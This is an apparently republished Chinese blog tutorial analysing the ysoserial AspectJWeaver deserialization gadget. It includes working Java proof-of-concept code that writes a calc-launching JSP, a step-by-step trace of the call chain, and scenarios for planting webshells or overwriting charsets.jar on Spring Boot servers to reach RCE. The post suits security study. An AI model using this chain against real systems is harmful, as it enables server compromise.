草庐IT

AspectJWeaver文件写入gadget详解和两种应用场景举例

bitterz 2023-03-28 原文

0 前言

ysoserial反序列化系列学习记录之一,最近看到利用AspectJWeaver这个gadget实现webshell写入的渗透记录帖子,而这个gadget用到的Commons-Collections版本为3.2.2,高版本的CC更具实用性。除了详细解析gadget之外,还考虑了两种实际攻击场景的应用。

1 环境

jdk1.8u40

Commons-Collections:3.2.2

aspectjweaver:1.9.2

aspectjweaver这个包是Spring AOP所需要的依赖,用于实现AOP做切入点表达式、aop相关注解

pom.xml依赖如下:

<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjweaver</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.2</version>
</dependency>

实验代码如下:


import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.charset.StandardCharsets;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class aspectjweaver {
    /*
    commons-collections:3.2.2
    aspectjweaver:1.9.2   spring AOP做切入点表达式、aop相关注解时需要
     */
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException {
        String fileName = "test.jsp";
        String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
        byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

        // 创建StoreableCachingMap对象
        Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
        constructor.setAccessible(true);
        Object map = constructor.newInstance(".", 12);

        // 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
        ConstantTransformer constantTransformer = new ConstantTransformer(exp);

        // 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
        Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

        // 反序列化漏洞的启动点: HashSet
        HashSet hashSet = new HashSet(1);
        // 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
        hashSet.add("fff");

        // 获取HashSet中的HashMap对象
        Field field;
        try {
            field = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e){
            field = HashSet.class.getDeclaredField("backingMap");  // jdk
        }
        field.setAccessible(true);
        HashMap innerMap = (HashMap) field.get(hashSet);

        // 获取HashMap中的table对象
        Field field1;
        try{
            field1 = HashMap.class.getDeclaredField("table");
        }catch (NoSuchFieldException e){
            field1 = HashMap.class.getDeclaredField("elementData");
        }
        field1.setAccessible(true);
        Object[] array = (Object[]) field1.get(innerMap);

        // 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
        Object node = array[0];
        if(node==null){
            node = array[1];
        }

        // 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
        Field keyField = null;
        try {
            keyField = node.getClass().getDeclaredField("key");
        }catch (NoSuchFieldException e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        keyField.setAccessible(true);
        keyField.set(node, tiedMapEntry);

        // 序列化和反序列化测试
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("serialize.ser"));
        objectOutputStream.writeObject(hashSet);

        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("serialize.ser"));
        objectInputStream.readObject();
    }
}

执行成功后会在运行路径下写个test.jsp,下面来看看这个gadget具体是怎么触发的

2 gadget解析

2.1 高版本Commons-Collections的防御措施

在3.1或者4.0版本的Commons-Collections利用链中,最底层都要调用到InvokerTransformer类,高版本的修复方式就是在这个类的readObject和writeObject中加入安全警告,如下:

由于反序列化时,会自动调用类的readObject方法,所以当字节码传递到服务器短时,一运行InvokerTransformer#readObject方法就会触发警告,停止反序列化,必须服务器端手动开启允许反序列化的设置。

2.2 获取AspectJWeaver的调用链

这个gadget最终要写一个文件,根据Windows的文件名要求,我们写入"test.?jsp"时会出问题,如此即可获得调用链。获得调用链如下:

如果研究过低版本下Commons-Collections的HashSet调用链,肯定就会非常熟悉readObject后面这一部分。首先HashSet#readObject方法会触发map.put(e, PRESENT)

  • HashSet#readObject
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
    // 省略了不重要的部分

    // Create backing HashMap
    map = (((HashSet<?>)this) instanceof LinkedHashSet ?
           new LinkedHashMap<E,Object>(capacity, loadFactor) :
           new HashMap<E,Object>(capacity, loadFactor));

    // Read in all elements in the proper order.
    for (int i=0; i<size; i++) {
        @SuppressWarnings("unchecked")
        E e = (E) s.readObject();
        map.put(e, PRESENT);  // 触发点
    }
}

此时有个很关键的问题在于这个对象e到底是啥?回到我们的代码利用反射修改值的部分

// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

// 反序列化漏洞的启动点: HashSet
HashSet hashSet = new HashSet(1);
// 随便设置一个值,后面反射修改为tiedMapEntry,直接add(tiedMapEntry)会在序列化时本地触发payload
hashSet.add("fff");

// 获取HashSet中的HashMap对象
Field field;
try {
    field = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e){
    field = HashSet.class.getDeclaredField("backingMap");  // jdk
}
field.setAccessible(true);
HashMap innerMap = (HashMap) field.get(hashSet);

// 获取HashMap中的table对象
Field field1;
try{
    field1 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
    field1 = HashMap.class.getDeclaredField("elementData");
}
field1.setAccessible(true);
Object[] array = (Object[]) field1.get(innerMap);

// 从table对象中获取索引0 或 1的对象,该对象为HashMap$Node类
Object node = array[0];
if(node==null){
    node = array[1];
}

// 从HashMap$Node类中获取key这个field,并修改为tiedMapEntry
Field keyField = null;
try {
    keyField = node.getClass().getDeclaredField("key");
}catch (NoSuchFieldException e){
    keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, tiedMapEntry);

首先是lazyMap和TiedMapEntry后面再详细解析,后面部分的代码则是将"fff"替换成tiedMapEntry对象,这时需要从源码中看看HashSet如何存储值的:

  • HashSet中的所有对象都保存在内部HashMap的key中,以保证唯一性

  • HashMap的每个key->value键值对保存在一个命名为table的Node类数组中,每次调用HashMap#get方法时,实际时从这个数组中获取值

  • 跟进看看HashMap$Node类

到这里也就很清楚了,只需要通过反射获取HashSet内部的HashMap对象,在修改HashMap$Node类中的key属性为tiedMapEntry即可,回看一下代码应该很容易理解。

2.3 gadget详解

前面已经说到,HashSet#readObject方法会调用HashMap#put方法,

  • HashSet#readObject()
public class HashSet<E> extends AbstractSet<E> implements Set<E>, Cloneable, java.io.Serializable
{
    private static final Object PRESENT = new Object();
    private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
        // 省略了不重要的部分

        // Create backing HashMap
        map = (((HashSet<?>)this) instanceof LinkedHashSet ?
               new LinkedHashMap<E,Object>(capacity, loadFactor) :
               new HashMap<E,Object>(capacity, loadFactor));

        // Read in all elements in the proper order.
        for (int i=0; i<size; i++) {
            @SuppressWarnings("unchecked")
            E e = (E) s.readObject();
            map.put(e, PRESENT);  // 触发点,PRESENT=new Object(); 源代码中可见,就不截图了
        }
    }
}

由于HashSet只有一个值,所以相当于执行了HashMap.put(tiedMapEntry, new Object()),跟着这个基础,继续往下看

  • HashMap#put(tiedMapEntry, new Object())
public V put(K key, V value) {
    return putVal(hash(key), key, value, false, true);
}

此时key=tiedMapEntry,value=object (将new Object()简写为object,这个值不影响啥),明显会先执行HashMap#hash(tiedMapEntry),跟进一下

  • HashMap#hash(tiedMapEntry)
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

此时key=tiedMapEntry,代码中明显会先调用key.hashCode()方法,也就是执行了tiedMapEntry.hashCode(),此时继续跟进

  • TiedMapEntry#hashCode()
public int hashCode() {
    Object value = getValue();
    return (getKey() == null ? 0 : getKey().hashCode()) ^
        (value == null ? 0 : value.hashCode()); 
}

这里会先调用TiedMapEntry#getValue()方法,需要跟进一下

  • TiedMapEntry#getValue()

此时map和key分别是啥呢?这就要回看一下我们的代码和TiedMapEntry的构造方法了!

  • TiedMapEntry的构造方法
public TiedMapEntry(Map map, Object key) {
    super();
    this.map = map;
    this.key = key;
}
  • payload中的相应代码
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, fileName);

也就是说,上面的图片中,map=lazyMap,key=filename,也就是执行了lazyMap.get(filename),因此需要跟进LazyMap#get(filename)方法。另外我们使用了LazyMap.decorate()来创建lazyMap对象,所以也要跟进这个方法看看

  • LazyMap.decorate(Map, Transformer)和对应的构造方法
public static Map decorate(Map map, Transformer factory) {
    return new LazyMap(map, factory);
}
// 构造方法
protected LazyMap(Map map, Transformer factory) {
    super(map);
    if (factory == null) {
        throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = factory;
}
  • LazyMap#get(filename)
public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

此时回看我们的代码关于lazyMap的部分

String fileName = "test.jsp";
String tmp = "<%java.lang.Runtime.getRuntime().exec(\"calc\");%>\n";
byte[] exp = tmp.getBytes(StandardCharsets.UTF_8);

// 创建StoreableCachingMap对象
Constructor<?> constructor = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);
constructor.setAccessible(true);
Object map = constructor.newInstance(".", 12);

// 把保存了文件内容的对象exp放到ConstantTransformer中,后面调用ConstantTransformer#transform(xx)时,返回exp对象
ConstantTransformer constantTransformer = new ConstantTransformer(exp);

// 用LazyMap和TiedMapEntry包装Transformer类,以便于将触发点扩展到hashCode、toString、equals等方法
Map lazyMap = LazyMap.decorate((Map) map, constantTransformer);

也就是说,lazyMap.map=StoreableCachingMap,lazyMap.factory=ConstantTransformer,将这些信息带入到LazyMap.get(filename)方法,

    1. 由于map.containsKey(filename)=false,所以进入if代码块。
    1. 此时调用lazyMap.factory.transform(filename),也就是ConstantTransformer.transform(filename),跟进一下该方法
// 构造方法,使得iConstant=exp
public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
// transform方法,返回iConstant,也就是exp
public Object transform(Object input) {
    return iConstant;
}

执行完后,回到LazyMap.get(filename)中,此时value=exp,执行map.put(filename, exp),实际上执行StoreableCachingMap.put(filename, exp),继续跟进

  • StoreableCachingMap.put(filename, exp)
private static final String SAME_BYTES_STRING = "IDEM";
private static final byte[] SAME_BYTES = SAME_BYTES_STRING.getBytes();
public Object put(Object key, Object value) {
    try {
        String path = null;
        byte[] valueBytes = (byte[]) value;

        if (Arrays.equals(valueBytes, SAME_BYTES)) {  // SAME_BYTES = "IDEM".getBytes();
            path = SAME_BYTES_STRING;
        } else {
            path = writeToPath((String) key, valueBytes);
        }
        Object result = super.put(key, path);
        storeMap();
        return result;
    } catch (IOException e) {
        trace.error("Error inserting in cache: key:"+key.toString() + "; value:"+value.toString(), e);
        Dump.dumpWithException(e);
    }
    return null;
}

这里key=filename,value=exp,带入代码中,更改变量名valueBytes=exp数组,然后进入if判断语句,显然"IDEM"和我们的exp不相等,进入else代码块,跟进writeToPath((String) key, valueBytes)

  • StoreableCachingMap#writeToPath((String) key, valueBytes)
private String writeToPath(String key, byte[] bytes) throws IOException {
    String fullPath = folder + File.separator + key;
    FileOutputStream fos = new FileOutputStream(fullPath);
    fos.write(bytes);
    fos.flush();
    fos.close();
    return fullPath;
}

此时key=filename,bytes=恶意代码byte数组,代码比较简单,就是单纯的写文件,因为没有catch语句,所以2.2中获取调用链时给filename="test.?jsp"会触发报错,从而给出调用链。

到这里整个gadget就解析完了,主要是避开了InvokerTransformer#readObject时的安全检查,并利用lazyMap.get()方法去调用写文件的类,从而达到文件写入的能力。最后再结合ysoserial中给出的调用链回顾一下整个调用链

Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

3 两种应用场景

3.1 直接写入jsp

如果目标Web应用可以写入jsp,并且能够解析,那直接写jsp Webshell即可,比较直接,就不多说了

3.2 SpringBoot采用jar包部署的情况

现在很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,就算我们能够写文件,也不会被内嵌的中间件解析,这个时候应该怎么办呢?

LandGrey大佬给出了解决办法:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

向服务器的jdk目录下写入jar包,由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载,所以可以先写入/jre/lib/charsets.jar进行覆盖,然后给request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。恶意头部可以如下:

Accept: text/plain, */*; q=0.01
Accept: text/html;charset=GBK
...

具体细节请见大佬的博客和github仓库。

参考

Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/AspectJWeaver.java

有关AspectJWeaver文件写入gadget详解和两种应用场景举例的更多相关文章

  1. ruby - 使用 RubyZip 生成 ZIP 文件时设置压缩级别 - 2

    我有一个Ruby程序,它使用rubyzip压缩XML文件的目录树。gem。我的问题是文件开始变得很重,我想提高压缩级别,因为压缩时间不是问题。我在rubyzipdocumentation中找不到一种为创建的ZIP文件指定压缩级别的方法。有人知道如何更改此设置吗?是否有另一个允许指定压缩级别的Ruby库? 最佳答案 这是我通过查看ruby​​zip内部创建的代码。level=Zlib::BEST_COMPRESSIONZip::ZipOutputStream.open(zip_file)do|zip|Dir.glob("**/*")d

  2. ruby - 其他文件中的 Rake 任务 - 2

    我试图在一个项目中使用rake,如果我把所有东西都放到Rakefile中,它会很大并且很难读取/找到东西,所以我试着将每个命名空间放在lib/rake中它自己的文件中,我添加了这个到我的rake文件的顶部:Dir['#{File.dirname(__FILE__)}/lib/rake/*.rake'].map{|f|requiref}它加载文件没问题,但没有任务。我现在只有一个.rake文件作为测试,名为“servers.rake”,它看起来像这样:namespace:serverdotask:testdoputs"test"endend所以当我运行rakeserver:testid时

  3. ruby-on-rails - 在 Rails 中将文件大小字符串转换为等效千字节 - 2

    我的目标是转换表单输入,例如“100兆字节”或“1GB”,并将其转换为我可以存储在数据库中的文件大小(以千字节为单位)。目前,我有这个:defquota_convert@regex=/([0-9]+)(.*)s/@sizes=%w{kilobytemegabytegigabyte}m=self.quota.match(@regex)if@sizes.include?m[2]eval("self.quota=#{m[1]}.#{m[2]}")endend这有效,但前提是输入是倍数(“gigabytes”,而不是“gigabyte”)并且由于使用了eval看起来疯狂不安全。所以,功能正常,

  4. ruby-on-rails - Rails 3 中的多个路由文件 - 2

    Rails2.3可以选择随时使用RouteSet#add_configuration_file添加更多路由。是否可以在Rails3项目中做同样的事情? 最佳答案 在config/application.rb中:config.paths.config.routes在Rails3.2(也可能是Rails3.1)中,使用:config.paths["config/routes"] 关于ruby-on-rails-Rails3中的多个路由文件,我们在StackOverflow上找到一个类似的问题

  5. ruby - 将差异补丁应用于字符串/文件 - 2

    对于具有离线功能的智能手机应用程序,我正在为Xml文件创建单向文本同步。我希望我的服务器将增量/差异(例如GNU差异补丁)发送到目标设备。这是计划:Time=0Server:hasversion_1ofXmlfile(~800kiB)Client:hasversion_1ofXmlfile(~800kiB)Time=1Server:hasversion_1andversion_2ofXmlfile(each~800kiB)computesdeltaoftheseversions(=patch)(~10kiB)sendspatchtoClient(~10kiBtransferred)Cl

  6. ruby - 如何将脚本文件的末尾读取为数据文件(Perl 或任何其他语言) - 2

    我正在寻找执行以下操作的正确语法(在Perl、Shell或Ruby中):#variabletoaccessthedatalinesappendedasafileEND_OF_SCRIPT_MARKERrawdatastartshereanditcontinues. 最佳答案 Perl用__DATA__做这个:#!/usr/bin/perlusestrict;usewarnings;while(){print;}__DATA__Texttoprintgoeshere 关于ruby-如何将脚

  7. ruby - 使用 Vim Rails,您可以创建一个新的迁移文件并一次性打开它吗? - 2

    使用带有Rails插件的vim,您可以创建一个迁移文件,然后一次性打开该文件吗?textmate也可以这样吗? 最佳答案 你可以使用rails.vim然后做类似的事情::Rgeneratemigratonadd_foo_to_bar插件将打开迁移生成的文件,这正是您想要的。我不能代表textmate。 关于ruby-使用VimRails,您可以创建一个新的迁移文件并一次性打开它吗?,我们在StackOverflow上找到一个类似的问题: https://sta

  8. ruby-on-rails - Rails 应用程序之间的通信 - 2

    我构建了两个需要相互通信和发送文件的Rails应用程序。例如,一个Rails应用程序会发送请求以查看其他应用程序数据库中的表。然后另一个应用程序将呈现该表的json并将其发回。我还希望一个应用程序将存储在其公共(public)目录中的文本文件发送到另一个应用程序的公共(public)目录。我从来没有做过这样的事情,所以我什至不知道从哪里开始。任何帮助,将不胜感激。谢谢! 最佳答案 无论Rails是什么,几乎所有Web应用程序都有您的要求,大多数现代Web应用程序都需要相互通信。但是有一个小小的理解需要你坚持下去,网站不应直接访问彼此

  9. ruby - 无法运行 Rails 2.x 应用程序 - 2

    我尝试运行2.x应用程序。我使用rvm并为此应用程序设置其他版本的ruby​​:$rvmuseree-1.8.7-head我尝试运行服务器,然后出现很多错误:$script/serverNOTE:Gem.source_indexisdeprecated,useSpecification.Itwillberemovedonorafter2011-11-01.Gem.source_indexcalledfrom/Users/serg/rails_projects_terminal/work_proj/spohelp/config/../vendor/rails/railties/lib/r

  10. ruby-on-rails - Rails 应用程序中的 Rails : How are you using application_controller. rb 是新手吗? - 2

    刚入门rails,开始慢慢理解。有人可以解释或给我一些关于在application_controller中编码的好处或时间和原因的想法吗?有哪些用例。您如何为Rails应用程序使用应用程序Controller?我不想在那里放太多代码,因为据我了解,每个请求都会调用此Controller。这是真的? 最佳答案 ApplicationController实际上是您应用程序中的每个其他Controller都将从中继承的类(尽管这不是强制性的)。我同意不要用太多代码弄乱它并保持干净整洁的态度,尽管在某些情况下ApplicationContr

随机推荐